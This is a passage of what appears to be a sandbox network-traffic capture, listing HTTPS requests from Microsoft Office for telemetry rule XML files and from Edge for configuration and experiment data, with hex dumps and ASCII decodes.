2024-11-20 20:05:36 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200536Z-185f5d8b95csd4bwhC1NYCq7dc0000000aqg000000006yra x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:36 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200536Z-1777c6cb754gc8g6hC1TEB966c0000000a4g000000003n1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200536Z-178bfbc474bwh9gmhC1NYCy3rs00000000d0000000005b7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200536Z-r1d97b99577ckpmjhC1TEBrzs000000009fg000000000r3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49755	94.245.104.56	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:39 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:39 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 20 Nov 2024 20:05:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:39 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:39 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:39 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200539Z-178bfbc474bmqmgjhC1NYCy16c00000000g0000000005fua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:39 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49758	52.123.243.180	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:39 UTC	747	OUT	GET /config/v1/Edge/117.0.2045.47?clientId=-2063246587742936609&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=5&mngd=0&installdate=1696491615&edu=0&bphint=2&soobedate=1696491610&fg=1 HTTP/1.1 Host: config.edge.skype.com Connection: keep-alive If-None-Match: "xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=" Accept-Encoding: gzip Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
2024-11-20 20:05:40 UTC	1176	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=3600 Content-Length: 58414 Content-Type: application/json Expires: Wed, 20 Nov 2024 21:05:39 GMT ETag: "cusTRc/ARPm4stDBU7EPnOlpPi7aAo8ectJpbcackmg=" Server: Microsoft-IIS/10.0 request-id: b271c2e8-d353-2dec-e3fb-2581ec7d05f6 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Edge&DestinationEndpoint=MIRA-WW-DX0&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: b271c2e8-d353-2dec-e3fb-2581ec7d05f6 DX0P273CA0005 2024-11-20T20:05:39.684Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: DXB X-FEProxyInfo: DX0P273CA0005.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB X-Powered-By: ASP.NET X-FEServer: DX0P273CA0005 Date: Wed, 20 Nov 2024 20:05:39 GMT Connection: close
2024-11-20 20:05:40 UTC	424	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 45 78 63 6c 75 64 65 45 78 74 65 72 6e 61 6c 43 6f 6e 66 69 67 49 64 73 49 6e 4c 6f 67 22 3a 74 72 75 65 2c 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 65 64 67 65 5f 73 74 61 62 6c 65 22 7d 2c 22 45 64 67 65 22 3a 7b 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 73 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 77 54 72 6f 75 62 6c 65 73 68 6f 6f 74 42 75 74 74 6f 6e 4f 6e 45 72 72 6f 72 50 61 67 65 22 2c 22 6d 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 32 22 5d 7d 2c 22 50 68 6f 65 6e 69 78 43 75 73 74 6f 6d 54 68 65 6d 65 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b Data Ascii: {"ECS":{"ExcludeExternalConfigIdsInLog":true,"ConfigLogTarget":"edge_stable"},"Edge":{"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"PhoenixCustomTheme":{"enableFeatures":[
2024-11-20 20:05:40 UTC	15271	IN	Data Raw: 65 6e 64 65 64 53 65 74 74 69 6e 67 73 45 78 70 6c 69 63 69 74 4c 61 75 6e 63 68 22 2c 22 6d 73 4e 75 72 74 75 72 69 6e 67 52 65 63 6f 6d 6d 65 6e 64 65 64 53 65 74 74 69 6e 67 73 42 75 6c 6c 65 74 50 6f 69 6e 74 55 49 22 2c 22 6d 73 4e 75 72 74 75 72 69 6e 67 52 65 63 6f 6d 6d 65 6e 64 65 64 53 65 74 74 69 6e 67 73 4c 6f 6e 67 44 65 73 63 22 2c 22 6d 73 4e 75 72 74 75 72 69 6e 67 52 65 63 6f 6d 6d 65 6e 64 65 64 53 65 74 74 69 6e 67 73 57 73 62 44 69 61 6c 6f 67 22 5d 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 44 69 73 6d 69 73 73 61 6c 43 61 70 22 2c 22 76 61 6c 75 65 22 3a 22 39 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 49 6d 70 72 65 73 73 69 6f 6e 43 61 70 22 2c 22 76 61 6c 75 65 22 3a 22 39 22 7d 5d 7d 2c 22 44 69 73 61 62 6c Data Ascii: endedSettingsExplicitLaunch","msNurturingRecommendedSettingsBulletPointUI","msNurturingRecommendedSettingsLongDesc","msNurturingRecommendedSettingsWsbDialog"],"parameters":[{"name":"DismissalCap","value":"9"},{"name":"ImpressionCap","value":"9"}]},"Disabl
2024-11-20 20:05:40 UTC	16384	IN	Data Raw: 6d 61 69 6e 22 3a 22 77 77 77 2e 74 65 6c 65 67 72 61 70 68 69 6e 64 69 61 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 74 69 6d 65 73 6f 66 69 6e 64 69 61 2e 69 6e 64 69 61 74 69 6d 65 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 70 75 73 68 65 6e 67 61 67 65 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 74 69 6d 65 73 6e 6f 77 6e 65 77 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 Data Ascii: main":"www.telegraphindia.com"},{"applied_policy":"Prompt","domain":"timesofindia.indiatimes.com"},{"applied_policy":"Prompt","domain":"pushengage.com"},{"applied_policy":"Prompt","domain":"www.timesnownews.com"},{"applied_policy":"Prompt","domain":"www.c
2024-11-20 20:05:40 UTC	16384	IN	Data Raw: 6d 65 2e 69 62 6f 74 74 61 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 76 61 63 63 69 6e 65 72 65 67 2e 68 65 61 6c 74 68 2e 6e 64 2e 67 6f 76 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 6d 61 73 73 76 61 78 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6d 74 72 65 61 64 79 63 6c 69 6e 69 63 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 76 61 63 63 69 6e 61 74 Data Ascii: me.ibotta.com","applied_policy":"ChromeUA"},{"domain":"vaccinereg.health.nd.gov","applied_policy":"ChromeUA"},{"domain":"www.comassvax.org","applied_policy":"ChromeUA"},{"domain":"www.mtreadyclinic.org","applied_policy":"ChromeUA"},{"domain":"www.vaccinat
2024-11-20 20:05:40 UTC	9951	IN	Data Raw: 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 33 6d 69 6e 2d 63 6c 61 73 73 2e 6f 66 66 63 6e 2e 6d 6f 62 69 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 61 69 6c 2e 6e 61 74 65 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 69 74 6e 65 73 73 74 65 73 74 2e 78 74 75 2e 65 64 75 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 69 72 6f 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 6f 77 67 61 Data Ascii: meUA"},{"domain":"3min-class.offcn.mobi","applied_policy":"ChromeUA"},{"domain":"mail.nate.com","applied_policy":"ChromeUA"},{"domain":"fitnesstest.xtu.edu.cn","applied_policy":"ChromeUA"},{"domain":"miro.com","applied_policy":"ChromeUA"},{"domain":"wowga

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:39 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:39 UTC	498	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200539Z-r1d97b995774zjnrhC1TEBv1ww000000098g00000000f5s0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 20:05:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:39 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200539Z-1777c6cb754b7tdghC1TEBwwa40000000a5000000000kc6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
